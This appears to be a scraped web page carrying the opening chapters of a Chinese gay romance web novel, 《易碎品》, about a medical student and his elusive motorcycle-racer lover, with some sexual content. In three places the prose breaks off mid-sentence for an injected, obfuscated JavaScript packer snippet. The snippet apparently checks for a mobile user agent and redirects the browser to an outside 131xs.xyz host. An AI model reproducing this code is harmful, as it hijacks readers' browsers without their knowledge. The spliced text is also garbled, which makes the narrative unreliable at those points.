《易碎品》 1. Surprise 像很多个意外的深夜一样,门外响起一阵阵铃声。 顾墨明明有家里的钥匙,还总折腾陈颂给他开门。 陈颂睡眠很浅,铃响第一声时便惊醒,心脏猛烈跳动片刻,掀开被子光脚跑去开门。 他一时难辨,究竟是心跳声更大,还是门铃声更响。 九月末的京市已经染上凉意,深夜的风携着淡淡的酒香扑面而来。 顾墨左手抱着花纹头盔,身着黑皮衣倚在门口,脸上浮着酒晕望着陈颂敞开的领口,慵懒的深眸闪烁一丝亮光,嘴角扬起一抹淡笑: “Surprise。” 沉冽的嗓音如一壶温酒,烫过心尖。 顾墨总是这样,消失很久又突然出现,笑着说Surprise。 以至于陈颂每当看到或者听到这个英文单词时,都会停滞一瞬,想起顾墨站在门口,慵懒英俊的样子。 陈颂愣神片刻,稍稍压下心底的悸动。 “又喝酒。”陈颂声音带着刚睡醒的生涩,缓慢垂下眼皮,看到顾墨裤子破了几处洞,漏出血痕模糊的肌肤,看得陈颂心一颤,双眉紧锁。 陈颂一声不吭把人拉到沙发,从茶几下拿出医药箱,熟练地消毒上药。 整个过程顾墨也不说话,目光灼灼地看着陈颂。 陈颂看着那些伤口又是心疼又是无奈,根本不理会顾墨炽热的目光。 尽管气的不行,陈颂上药的手法还是很温柔。 顾墨伤的不重,腿上和肩膀有几处皮外伤。一眼就知道是骑摩托摔的。 陈颂抬起顾墨手臂一顿,看着他光秃的手腕问:“又......丢了。” 顾墨却顿了顿问:“什么。” 他顺着陈颂目光看向手腕,酒精的麻痹让他一时间想不起来这少了什么。 顾墨沉沉呼吸几口气,认真想了想。 哦,陈颂给他编的红绳又丢了。 陈颂很轻地甩开他,默了片刻深吸一口气:“顾墨......我再给你编最后一次,你要是再丢了就没了。” 顾墨皱眉,有些不悦:“别编了,我一个大男人带什么。” 陈颂也生气,但他发不出火只是说话的语气有些着急:“那你能别做这么危险的事么……你知不知道,你老是不回消息不接电话我......” “陈颂,这么久不见,我不是来听你发脾气的。” 顾墨眼里的笑意尽数散去。 陈颂心中那团小火顿时被一盆冷水浇灭。 顾墨知道他们很久不见。 三个月,久到陈颂都以为,顾墨再也不会出现在他的世界了。 这些担心算什么,根本毫无意义。 从二人刚认识就知道的事,怎么过了三年还是不明白呢。 陈颂松开了顾墨,双手微缩,沉默着起身,走进厨房泡解酒的蜂蜜水。 屋子里静得只有热水器“嗡嗡”烧水的声音。 陈颂从冰箱里取出蜂蜜罐,打开盖子挖了两勺放进玻璃杯里。直到“滴”一声开关跳下,陈颂拿起热水壶将还在沸腾汹涌的热水倒进杯里。 陈颂垂头搅拌着蜂蜜水,目光疲倦地望着杯里不断被热水吞噬的蜂蜜。寂寥的屋子里蔓延开蜂蜜香甜的味道,暖暖的。 陈颂搅拌的手一顿,背后忽然抱上来一双手臂,宽阔的胸腔紧紧贴上来,霸道地传递着温暖。 顾墨下巴磕在陈颂肩颈处,放低了声音:“再编一次,保证不丢了。” 温热的气息触及锁骨处,惹得陈颂心颤,呼吸都缓慢了。 顾墨那带有厚茧的指腹捏起陈颂下巴,偏头吻上他的唇。 舌尖轻启软嫩的唇瓣,穿过牙齿,温柔缱绻地缠绵。吻势越发加深,带着浓浓的思念。 顾墨松开陈颂的下巴,宽大的掌心有些粗糙,与细腻的肌肤接触时,粗糙茧痕轻而易举点火。 陈颂喘不过气时顾墨停下吻势,牵出一抹不舍的丝线,勾唇笑道:“自己亲我,嗯?” 顾墨饶有兴趣地欣赏清冷美人的迷离,不紧不慢地咬着陈颂的耳朵:“嗯?还不亲我?” 陈颂忍不住颤栗,在顾墨的引诱下偏过头去,一手撑在桌上,一手扯过顾墨脖子上的银项链借力亲吻他。 “好……想你,顾墨。” 冷如冰泉的声色此时染上颤音,淹没包裹起顾墨整颗心脏,狠狠压迫着让他透不过气。 顾墨细胞里的血液翻涌叫嚣,后半夜里,陈颂越是求饶,顾墨越是疯狂…… 陈颂醒来时已经是翌日正午十二点多。 顾墨还睡着,额前黑发微微向上翻,露出白皙饱满的额头,五官更加立体深邃。 闭目沉睡的样子少了几分凌厉,添了几分柔和的英俊。 陈颂伸出指尖点在顾墨的断眉处,顺着高挺的鼻梁滑下,描绘他的轮廓,最后落在颧骨上的一颗黑痣上。 就这么看着,还是会心动不已。 陈颂看了好一会才起床,给顾墨准备好饭菜后就赶去学校了。 陈颂在读大四上,实习前最后一个学期是最忙的,学科也是最重要的。 早上因为无故旷课,陈颂被老班叫去办公室问话。 陈颂走路有些别扭,神情如常地解释:“有些感冒,就......起晚了。” 像这样被顾墨折腾得旷课不在少数,陈颂在老班面前撒谎也渐渐面不改色,张口就来。 老班看他眼下青黑,脚底不稳,叹气道:“行了,下次记得请假。把假条补上吧。” 老班把请假本扔给陈颂填。 陈颂是班里最好的学生,即刻苦又聪明,平时也没少帮他干事,以前还老是去兼职,这身体能好才有怪了。 老班不免心疼陈颂,气头上也最多说他两句。 陈颂填完假条递给老班签字:“麻烦您了。没什么事我就先回去上课了。” 老班签字的手一顿:“还真有事找你。” “后天我们院请了若阳集团的医生来讲座。你去接应他。”老班签完字放下笔看陈颂,语气严肃,“若阳集团你应该是知道的。这位教授更是大有来头,是若阳的大少爷。这次来是传授些专业知识。” “最重要的一点,”老班推了下眼镜,加重语气,“是想选几个优秀学生引荐进医院里。陈颂。好好表现。” 陈颂直到回到教室座位上心情还是很激动的,有些不可思议。 若阳集团是国内顶尖医疗机构,是无数学医者梦寐以求的地方。 陈颂自从高三那年高考失意,考进一个普普通通的二本,他就在没想过再进若阳。 不论如何,他都得把这个大少爷照顾好,抓住这次机会。 可陈颂从没接触过这种身份的人,十分顾虑该怎么相处。他性格孤僻,和普通人都难相处自洽,更别说少爷了。 这让陈颂十分苦恼。 苦恼归苦恼,陈颂很快调整过来认真听课,课程是不敢懈怠的。 下午的课满,一直上到六点才放。陈颂没住宿,一直住在顾墨说给他的“家”里。 “家”离学校很近,走路十来分钟,回到家后顾墨已经不在了。 桌上原封不动的饭菜让陈颂冷了眼。 陈颂坐到桌前,拿起桌上被勺子压着的便利签,捏成一团扔进了垃圾桶,目光呆滞地看着失去菜色的饭菜。 他打开手机,一条信息和电话都没有,就如同一部刚激活的新手机。 顾墨有事只会打电话,从没回过他的消息。 今天没吃他做的饭,也没看他留的便签。 又这么消失了,这次又不知道会多久。 比起生气,陈颂更多的是伤心。 失落好像无尽的深渊,他不停往下坠。 陈颂明白的,这都是他自找的。 以为这次时隔三个月不见,能放下了。可当门铃响起那一刻,他的心还是止不住颤抖。 陈颂知道的,他一直在骗自己。 他永远也无法放下顾墨的…… —— 陈颂捡到顾墨是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379769|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三年前的除夕夜。他在酒店加班到凌晨,下班后北城还在飘雪。 万家灯火通明的长街,烟火不断。 街道上覆着厚厚的雪,陈颂走在雪里发出轻轻的声响。 昏黄的路灯打亮街景,电线杆旁站着一个弯腰的男人。 男人穿着单薄的短袖,浑身上下破破烂烂,血迹斑斑。一手撑着电线杆止不住地吐,脸红得不像话,狼狈的样子却挡不住他俊朗的五官。 陈颂微顿,移开视线离他远些走。 京市什么疯子都有,大冬天穿短袖在除夕夜街边吐的也不稀奇。 陈颂累得只想赶紧回家睡觉,目不斜视地经过他。 他走得越来越快,生怕多停留一秒就有什么不好的事发生。 结果下一秒,身后就传来“咚”地一声,什么东西倒在了雪地里。 陈颂心紧一刻,回头看去,那人倒在雪里,大雪一层层将他覆盖。 漆黑的夜幕在烟花绽放下绚烂,倒在雪里的人显得无比凄凉。 所有的热闹团聚都与他无关,这么静静躺着,只需要一夜,他就会被这个无情的雪夜吞噬。 陈颂跑到那人身旁,摇摇他:“喂,你还好吗?” 躺在地上的人神情异常痛苦,眼角流着泪,胡乱抓住陈颂衣角,紧紧捏着,哑着嗓子哽咽道:“别离开我......妈......我没家了,没家了。别不要我......” 陈颂心跟着痛了下,落在男人眉间的雪化成水,却怎么也化不开忧愁。 伤心的男人像当初无家可归的他一样。 不是出于可怜,而是感同身受的同情。 陈颂把他带回了出租屋里。 这是大一上册的期末。 陈颂在学校外租了一个小破出租房,方便外出打工。 出租房在一片破旧的老街区,穿过狭窄的弄堂走进一栋楼里。小屋在二楼,约十平米,装修捡漏却很整洁。陈颂把男人放到床上。 男人衣服破破的,脏的很,沾满泥灰血痕。陈颂是医学生,经查看都是些皮外擦伤,不严重但多,遍布各处。隔着衣服不好处理,陈颂干脆把人衣服脱了。 男人身材比例堪称一绝,四肢肌肉线条流畅健美,腹肌随呼吸轻轻起伏,尤为性感。 肌肤白亮透皙,身上各处留着大大小小的疤痕,让无暇美玉变成彰显魅力的勋章。 陈颂呼吸凝滞片刻,眨了眨轻薄的眼皮,给足自己心理暗示:只是上药,冒犯了,冒犯了。 男人没有想象中的冰冷,反而温暖得像团火焰。 满身疤痕触目惊心,不知道他经历了什么。 男人轻轻眨了下眼睛,醒了过来,视线缓慢聚焦在陈颂脸上。 洁白玉肤描绘出陈颂眉眼间无形的忧伤,好像一件易碎的白瓷。 浅淡的眉轻皱,雾蒙般的眼眸透着愁郁,藏着几分难以发现的无措。 易碎的白瓷应像珍贵神明般虔诚供奉,可沾染凡尘的那点懵懂无辜,无端端让男人忍不住要把这件白瓷亵渎砸碎。 男人一把抓住陈颂的手将他拉至身前,二人贴的极近。 陈颂一个不稳,膝盖抵在男人双·腿间,上半身倒在男人胸膛上,嘴唇擦过男人脖子上的银项链。 “你是谁。”头顶落下男人低沉磁性的声音。 陈颂心跳得快了些,撑起上半身,与他拉开距离,对视上男人半阖的目光:“陈颂……呃看你晕倒了,就带你......” 男人眼皮很轻地动了下,浅笑一声。锋利冷沉的面容下,笑起来却是如此好看。 陈颂一时出神,心下悄无声息开出一朵花。 二人相互注视着,有股无形的烟火炸在双眸流转间,下一刻,男人撑起上半身吻了上来。 陈颂瞪大眼睛,大脑一片空白,心扑通胡乱跳着。 男人亲昵地舔舐嘴边的猎物,一步步探进唇齿间。 陈颂猛地推开男人,浑身晕地厉害,低着头语无伦次地说:“我……我……” 2. 顾墨 浓烈的酒味在唇齿间炸开,点燃起沸腾的血液。 陈颂捂住嘴唇,缓了很久才平静下来,磕磕巴巴准备再说什么,男人已经睡着了。 陈颂已经无法正视这具身体,硬着头皮给人上完药,给他擦了把脸,随意找了套衣裤给他穿上。 一套流程下来,陈颂累得满头大汗。 不一会男人又皱起眉头,嘴里喃喃着: “妈……妈……别不要我……我没家回了……” 陈颂沉默着注视他半晌,得出一个结论。 嗯……这个人估计是......流浪汉。 他手上很多茧,身材好,估计是靠搬砖维持生活。 可搬砖挣得也挺多的啊,怎么大冬天穷的只能穿短袖...... 该不会是欠什么债了吧?! 嘴里一直说没家回,应该是真的吧。 除夕夜哪有不回家的人啊,除非是跟他一样无家的人。 他的妈妈…… 陈颂累得没精力洗漱,坐在地上手靠床边想着想着就睡了过去。 第二日醒来时,陈颂浑身都麻得动弹不得,床上的男人在陈颂挣扎间也醒了。 那双深色的眼眸冷厉地看向陈颂,讶异片刻后,男人撑起半身,揉着太阳穴,浑身不耐地打量着这个狭窄的屋子。 “你……你醒了啊,”陈颂吃力地说着,想赶紧起来,可浑身麻疼厉害,“你昨晚喝多……晕在街边,身上受伤,就把你带回来了。” 男人并未理他,而是一味地揉按太阳穴,眉头紧锁。 陈颂看出他头疼厉害,想给他煮杯蜂蜜水,刚试图抬脚踩地上,脚下像千万针扎般疼得他再次摔下去。 这一摔,摔到男人怀里,男人下意识搂他。 陈颂有些吓到,不自觉抿唇,昨晚的事……有些尴尬。 陈颂有些窘迫,连忙道:“呃……抱歉,”他有些不好意思地看着男人,“脚麻,让我缓缓。” 男人撇他一眼没说什么。 半晌陈颂才感觉身体缓过来,起身给男人煮了蜂蜜水,递给他。 男人看了一眼问:“这什么。” “蜂蜜水。”陈颂温和地说,又补充道,“解酒润喉。” 男人接过后喝完了,湿润的嗓子多了些磁性:“为什么带我回来。” 陈颂一顿,想起昨晚男人的样子,不忍触碰人家的伤心事,只好道:“我是学医的,医者父母心。” 男人盯他看了好一会,像是不相信他说的话,试图找出些许破绽来。 陈颂骨骼清瘦,皮肤白皙如月光,眉眼间透着淡淡的忧伤,目光好像一片平静冷漠的湖水。 男人眼前一下闪过昨晚陈颂的模样,也就是看陈颂的那一眼,心上好像落了一朵蒲公英,轻柔柔无足轻重,却不知为何挠痒了心。 男人垂眸注意到身上被包扎好的伤口,有些痛又有些痒,抬眸凝视着陈颂。 陈颂也没说错,确实有医者仁心的成分在里面的,但还是禁不住男人这么凝视。 “饿了吧,”陈颂转身走到几步远的小灶台边开始忙活,“稍等片刻,我做饭。” 陈颂很快就端出两碗白粥,一盘小青菜,凉拌黄瓜,西红柿炒鸡蛋出来。 男人挑着眉看着饭菜没说话。 陈颂以为他太久没吃到家常菜,感动得不行,就把筷子递到他面前,笑着安慰他:“可能做不出你家里的味道。将就下吧。” 男人面无表情看他一眼,接过筷子,冷不防地说了一句:“我没家。” 陈颂有些尴尬,自知说错了话,沉默片刻后,深吸一口气,放下筷子:“我叫陈颂,也没有家。” “你要是不介意,可以留在这。你这么年轻,我可以给你介绍点轻松的工作,不用搬砖那么辛苦。” “什么?”男人停下筷子,看向陈颂,黑沉的双眸里有些不可置信的荒唐,讥讽地冷笑道,“搬砖?我搬砖?” 陈颂愣了一下,指着他的手:“啊,抱歉,我还以为……” 他也不知道为什么脑子一抽就认定人家是搬砖,又解释道:“那……也是些重活吧,我可以给你介绍轻松点的工作。不会很累……工资也够生活……” 看男人脸越来越黑,陈颂的声音也越来越小。 其实陈颂不是一个话多的人,可能是男人被全世界抛弃的模样太像少年时的他了吧,所以总忍不住想帮帮他。 陈颂垂下眼眸:“抱歉。冒犯到你了。” 男人冷笑一声继续吃饭,余光里陈颂小心翼翼的样子让他觉得无比愚蠢又好笑。 “那个……”陈颂半晌才开口道,“你叫什么名字啊?” “顾……”男人顿了下,笑意不明地看向他,“末。” “哪个mo?墨水的墨?”陈颂被他的笑一时迷了眼,也不自觉地笑了起来。 陈颂笑时,灰蒙蒙的眼眸像盛着一汪秋水,恍若让人觉得下了一场江南雨,带着淡淡的忧郁,有种若即若离的妩媚。 男人不禁分神一瞬,应声道:“嗯。” 陈颂点点头:“很好听的名字。” “你的颂呢?”顾墨问。 “耳东陈,歌颂的颂。” 饭后顾墨要走,临走前陈颂拉住了他,在他衣服口袋塞了张纸,纸里包着五百块钱:“这是我的电话号码,要是你有什么困难可以联系我。” 顾墨但笑不语,拉开陈颂的手,转身走了,他挥着手:“饭做的不错。” ...... 后来顾墨没再出现过,日子如常,直到临近开学,顾墨又像深夜上门的圣诞老人,出现了。 顾墨这次又喝醉了,站在出租屋门口一直按着门铃。陈颂半夜被惊醒,吓了一大跳,还以为哪个闹事的。 结果透过猫眼就看到了穿着单薄皮衣的顾墨。 陈颂赶紧把门打开,刚开门,顾墨就倒在他身上,在他耳边吹着气说:“Surprise~我想你……” “做的饭了。” 他语调低沉又暧昧,敲打着耳膜,听得陈颂心跳飙升。 陈颂这些天不是没想过顾墨,不过也没往那方面想,只是担心他一个人过得好不好,都挺不容易的。 可今天顾墨实在不对劲,他的唇若有似无擦过陈颂的脖子,灼烧着每一寸肌肤。 陈颂是高一才发现自己喜欢男的。 他从小性格阴沉孤僻,不善与人交际,更别说是女人了。倒不是害羞,是怕惹怒女性。 因为他实在不知道怎么讨他母亲欢心,做什么都是错。 后来青春期那些小男生捉弄他,给他看小电影。男女的给他看,他毫无反应,小男生们却像搬起石头砸自己的脚,骂他装什么清高。骂他有病。 陈颂不敢跟别人说,只能上网搜他是不是真有病,结果看了分析去搜男男,他真看得面红耳赤时才确定了自己是同性恋。 后来他也暗恋过一个男生,不过很快就失恋了。 这些年也经历了一些大起大落,追求者也有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379770|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,但都是女生,自己也根本没心思考虑这些。 这身体的欲.望像是被压抑很久,像顾墨这样长相非常优越的,几乎是一撩他就着。 他一下就想到顾墨的躯体,心猛跳了起来,他吓一跳,连忙推开顾墨,结结巴巴地道:“你喝醉了。我......我是男的。” “我知道。”顾墨看着陈颂绯红的脸,笑着勾起他的下巴,饶有趣味地玩味他的名字,“陈颂,你在想什么?” 顾墨粗糙的指腹别有风情地擦着陈颂晶莹的嘴唇。 陈颂闻言大为震撼,像被电到似的后退一步:“我我我去给你倒杯蜂蜜水。” 还不等顾墨回应,他就慌慌张张去煮蜂蜜水。他没想到顾墨也是同...... 顾墨勾唇看他慌张的背影,眼底闪着狩猎者的戏谑,他关上门。慢慢等陈颂慌手慌脚地给煮蜂蜜水。 “有些烫,”陈颂递给他,“你慢些喝。” 顾墨接过,脸上带着淡淡的笑,一口全喝完了,鲜红的舌尖舔舐嘴角残留的甜味:“现在算不算酒醒了?” 陈颂看着顾墨脸上微微的红晕,有些迟疑。但看他又没什么逾矩的行动,点点头。 谁知下一刻顾墨吻上了他的唇,在他还处于巨大震惊当中时,牙关早被颠覆,唇齿间充满热烈的蜂蜜甜味,还没来得及反抗,就已经被吻得喘不上气。 陈颂心脏剧烈跳动着,浑身都软,快窒息时顾墨才放开他,捏着他滴血的耳垂,笑着道:“你不是说要让我留这。” “住在一起的都是夫妻,你是在跟我暗示呢。” 陈颂连忙解释:“我……你误会” 话还没说完就被顾墨的吻堵在喉咙里,顾墨落下雨点般的吻痕:“那也晚了。难道你对我就没一点想法?” 陈颂头脑昏沉:“我……” 他现在满脑子都很混乱,在他的认知里,这些是只有和爱人才能做。 可是他爱顾墨么?才仅仅一面之缘何来爱呢?但他为何不反感顾墨的触碰呢? 顾墨……顾墨又是怎么想的呢? 陈颂雪白的肌肤如美玉在月光下那般透亮,迷蒙的眼眸撞上一抹红,像飘在天边的云。 周围的景象都模糊了,只有顾墨脖子上挂着的银项链摇摇晃晃,像天上的月亮。 陈颂觉得顾墨是个怪物, 他也是。 陈颂原先是不相信什么一见钟情的。只是自己好像有些色迷心窍,在那次顾墨离开后,总是时不时想起他,一直在等他给自己打电话。 等再次看到他的时候,心脏扑通跳个不停。 陈颂觉得自己很没出息,就这么肤浅喜欢上一个来路不明的人。 翌日,顾墨帮陈颂处理发炎的伤口,看到他羞涩的模样微微一顿,笑着去亲他:“那以后就多多包涵啦。” 陈颂很开心,将顾墨的这句话认定成这段关系的开始。 既然这样,他就会全心全意照顾顾墨。陈颂擦完药忍着疼痛给顾墨做了饭菜。 陈颂不知道顾墨喜欢吃什么,家里有什么就做了什么。 顾墨其实嘴挺刁的,葱香菜都不吃,喜欢偏甜的糖醋排骨和茄子。 陈颂看顾墨吃得心情不错,于是问:“你看上去跟我差不多,应该也是大学生吧。” 顾墨轻描淡写地说:“我不上学。” 陈颂在心底沉吟了片刻,不说话。 顾墨却笑着看他,像是猜中他心中所想:“怎么?觉得我穷得连书都读不起?” 3. 陈升平 陈颂连忙否定:“我没有看不起你的意思。我手里有些钱,打工存下不少,可以让你也去读书。” 顾墨一顿,继续吃着饭没说话,看得陈颂有些紧张,感觉自己又说错话了。 顾墨咽下饭后才缓缓出声:“我不读不是因为没钱读。是因为我不想,懂么。” 陈颂心下松了口气,人没生气就好,斟酌半天然后温和说:“读书是最简单且最有机会改变我们这些底层人命运的,你不......好好考虑吗?” 顾墨被他没完的话惹得有些恼,他最讨厌别人和他讲大道理,敷衍道:“没兴趣,我不干不喜欢的事。” 说着嘴角扬起一抹笑,看向陈颂:“也不干不喜欢的人。” 陈颂被他跳跃的话惹得脸红,顾墨的情话张口就来,他也很快被带偏了:“顾墨。” 顾墨被他认真的叫唤一顿,捏起他的耳垂亲吻他:“怎么了。” 陈颂望着他问:“你是不是谈过很多个人。” 顾墨不置可否,笑得很淡:“你很介意?” 陈颂摇摇头:“我不在乎你的过去。我对你是认真的,希望你好,所以……” 顾墨脸上的笑意已然散去,他松开手起身准备离开。 陈颂见状有些不知所措地拉住他的手,好像他没拉住,顾墨就再也不会回来了。 陈颂紧张地说:“我不说了,我们好好吃饭吧。” 从这一刻,陈颂便知道了,顾墨是他这辈子永远抓不住的风。 顾墨没再留下吃饭,摸了摸他的头,笑得敷衍:“有空再来看你。” 陈颂不知道顾墨的工作是什么,也不知道他在忙什么,更不知道说的下次是多久以后。 他们连联系方式都没有。 在陈颂还以为要很久才能见到顾墨时,顾墨却在两三天后出现在家门口。 深夜,门铃,一身酒气。 “Surprise~” 他们没有过多的话题,只剩下那些事。陈颂生怕又说错哪句话顾墨又走了。 顾墨也像是对这样的陈颂很满意,二人留下了甜蜜又短暂的时光。 顾墨知道陈颂开学后准备搬去学校,他给了陈颂一把钥匙。 钥匙通往的大门是学校附近的小套房。比他原来租的房子大了一倍,但对普通家来说也不算大,就是够一个人生活的不憋屈,有个小客厅。 顾墨说是自己家,以后要陈颂在这等他。陈颂有些怀疑他哪来的钱,顾墨只是笑着逗他,前几天刚还完债租的。 陈颂还是不信。 顾墨却理直气壮说:“那不然你老公天天忙得不回家是因为什么。” 陈颂想想也是,但没多问。 有时顾墨会待上两三天,有时又一两个月不见。 他们还是没有添加联系方式。 直到有一次,两个月不见的顾墨像第一次浑身是伤的回来了,吓得陈颂憋了很久的担心一下子爆发出来。 他落泪的样子像一副死了丈夫的模样,一声不吭地给顾墨处理伤口,看得顾墨竟然心疼了。又心疼又好笑。 明明只是皮外伤。 顾墨好声好气地哄着,这才告诉他自己在一家赛车俱乐部工作。当个……打杂的外加是个摩托车赛车手。身上有些伤很正常。 陈颂崩溃的情绪这才渐渐平稳下来。 顾墨终于肯跟自己说些关于自己的事,他很高兴。 他跟顾墨了解了赛车,觉得有些危险,但他只是默默支持着,担心也全化成编制的红绳链,以此来保佑平安。 编完手链还要拿去有名的寺庙里祈福。过程繁琐,但陈颂乐意为之。 只不过顾墨经常弄丢,陈颂一开始还会生气,到后来渐渐习惯了,只是一遍遍去重做。 那次崩溃过后,顾墨跟他终于加上了电话。只不过顾墨从不看信息,有事也是打电话才会接。 到后来打电话也没接了。陈颂也没见过顾墨了。 陈颂以为和顾墨就这么结束了。 他很伤心,但知道这天终究会来,也一直在心底给自己做暗示。 所以这天来的时候,他没有声嘶力竭,没有苦苦纠缠,留住了这段感情的美好记忆,给彼此留住了体面。 然而,更大的巨变是六月,大一下册接近暑期的初夏,陈颂接到了医院的联系电话。 “您好,陈颂先生。我们这是温市第二人民医院。您的父亲陈升平先生苏醒了,但情况不容乐观,可能时日不多,你能过来一趟吗?” 陈颂请了一周的假飞回南城温市。 病床上瘦的像具干尸的男人带着氧气瓶,一见到陈颂浑浊的泪就落在沟痕爬满的脸上。 他说话很轻很慢很艰难:“颂……阿爸……对……不……起……你……阿爸爱……你” 陈颂面无表情地坐在他身边,但心中却翻起惊涛骇浪。 那个总是打骂他的父亲破天荒地跟他道歉,更让他无法置信的是说......爱他? 人在空口说白话时是无人会相信的。所有的信任全来源于行动证明。 可陈升平的爱在哪? 一辈子赌博不求上进,让他自卑无法回答无数人的问题——你父亲是做什么工作的? 欠债的追上门他却逃到外地,而他和母亲却被欺辱打骂? 还是赌光了钱打骂他,逼他交出母亲的钱? 还是……还是他一直戳着他的后脑勺骂,怎么生出个你这么没用的同性恋畜生出来? 究竟是哪一样啊?谁来告诉是哪一样啊? 陈颂崩溃地抓住头发,用力扯着。实在是想不出是哪一样。 陈升平痛苦的看着儿子逐渐崩溃的模样,伸出手想安抚,可是他永远都无法触及了。 陈颂根本无暇顾及陈升平,陷在自我争辩的过程里无法自拔。 他不懂,不懂为什么,为什么陈升平说爱他! 那他证明给自己看啊!为什么说了爱他又活不了多久了! 陈颂情绪激动地怒吼着,陈升平拼了命想安抚他,可怎么挣扎他都无力抱住崩溃的儿子,他也情绪激动起来,语无伦次地解释安抚他。 等陈颂冷静过来时,病房里已经乱成一锅粥,陈升平被推进了手术室。 陈颂跪倒在地上,好像越来越难呼吸,手有些发麻。直至一通电话不停的响着惊醒了他。 像是顾墨不断按门铃一样,他下意识接起。 真的听到了顾墨的声音...... 对方有些愠怒:“你在哪。敢夜不归宿!” 陈颂哽咽着:“顾……墨……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379771|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾墨听出了他的不对劲:“你在哪。” 陈颂没说话。 顾墨语气加重了,几乎咬牙切齿地说:“陈颂!” 陈颂心跳了一瞬:“说了你就能出现在我眼前么。” 顾墨忍无可忍:“告诉我地址!” 陈颂说出了医院的地址,顾墨二话不说挂了电话。 陈颂看着红色的手术室三个字,浑身止不住颤抖。 眼前一幕幕都是高三快高考的那个夏天,陈升平滚下楼梯,瞪着一双眼睛死死看着他。 高考前夕,陈颂好不容易放假回家,却撞见父母的争执。 陈升平嘴里骂着最肮脏的词汇,拉着提起行李箱的母亲。 二人争执狠了,母亲一怒之下推了陈升平一把,陈升平就这么滚下了楼梯,挣扎了几下,从此就再也没爬起来。 母亲最后跟一个男人走了,男人有钱,给陈升平安排了看护。 陈颂再没和母亲见过面,男人说会给抚养费一直到十八岁,叫陈颂别来打扰他们。 陈颂对这个家,对父母的感情不深。可以说几乎没感受过爱,可他为什么还是这么难受呢? 是因为他与父亲身上留着相同的血液在体内叫嚣么? 那是陈颂离十八岁还有一个星期的夏天,他无家可归了。原本维持在表面的家,也终于崩裂。 陈颂高考发挥失常,一向尖子生的他,考进了破本科。 陈颂去了北城,逃离了这个湿冷的江南。 说不怪不怨恨父母是假的。但陈颂能理解母亲的离开。 但他无法理解,为什么不爱,要把他生下来。 顾墨出现在他面前时,陈升平已宣告抢救无效。 医院长廊的炽光灯长夜亮着,惨白灯光打在陈颂肿痛的眼皮上。 眼前的地面多了一双马丁靴,张扬的黑色装进视线。头顶落来青年粗重的呼吸声。 陈颂抬头,怆然地望向顾墨,眼神空洞无物,苍白的唇瓣一张一合机械地重复着: “我害死了我爸爸。我……害死了我爸爸……我不该被生出来……我不该……” 许久不见的陈颂瘦得脸颊有些凹陷,憔悴苍白的肌肤里嵌着一双血红的眼,发丝凌乱地黏在满是冷汗的额前,犹如无暇的白瓷突兀地出现几道裂痕。 顾墨满腔怒火顷刻熄灭,不忍地蹲下将他拥入怀中,不断摸着他的头发。 后来陈颂发了高烧,昏迷很久。 等他意识清醒过来时,温市正下着湿绵绵的雨。 顾墨撑着伞,一席黑衣立在陈颂身侧。 陈颂跪在陈升平坟前。 矮墩墩的小山坡上,一层又一层搭建着陈家祖辈的棺墓。四处阴林覆盖,杂草丛生,潮湿黏腻的雨水潇潇不停。 这是顾墨第一次见乡村里的墓地。阴丝丝的很是诡异凄楚。 不知过了多久,陈颂开口问:“我妈来过么。” 顾墨看着陈颂清薄的背影和瘦削的侧脸,平静地道:“来了。” 陈颂点点头:“你回去吧。” 顾墨蹙眉,呼吸重了几分:“你什么意思?” 陈颂语气格外平静,冷得没有一丝温度:“就是你想的那个意思。” 顾墨猛地把他拉起来:“你书不读了?!” 4. 夏 雨下得有些大了,噼里啪啦砸在雨伞上,十分嘈杂。雨伞剧烈一晃,蓄集的雨水浸湿了二人的衣衫。 陈颂垂着眼没看他:“不读了。” 顾墨气的想笑,这几天是看陈颂伤心,看他生病才忍住不骂他这幅颓废样。 这个样子的陈颂顾墨还真没见过,到是觉得新奇。 想着原来那个正能量爆棚得非常愚蠢,跟自己说什么读书才能改变人生,他一回家就摇着尾巴跑来的人,现在变得这样死气沉沉。 终于被顾墨抓到也有这样的时刻,很新鲜,很痛快。 他就是想看陈颂能这样几天。是太宠陈颂了,才让他变本加厉。 这下好了,连书都不读了。真变成一个废人了,顾墨那股新鲜劲却没了,甚至非常不悦。 “那我呢?”顾墨冷笑着问他,“我你也不要了?” 陈颂眼皮颤了颤,面不改色地道:“你不是早不要我了”。 顾墨一把揪起陈颂的领子,怒不可遏道:“那老子这些天是陪了狗了!半夜从他妈的京市飞过来是为的谁啊我操!我看你是被烧傻了陈颂!瞪大你的狗眼看看你面前站着谁!” 陈颂心底多天压抑着的委屈一下子迸发了,他红着眼瞪向顾墨,那模样深深刺痛了顾墨的心,捏着陈颂领子的手一抖。 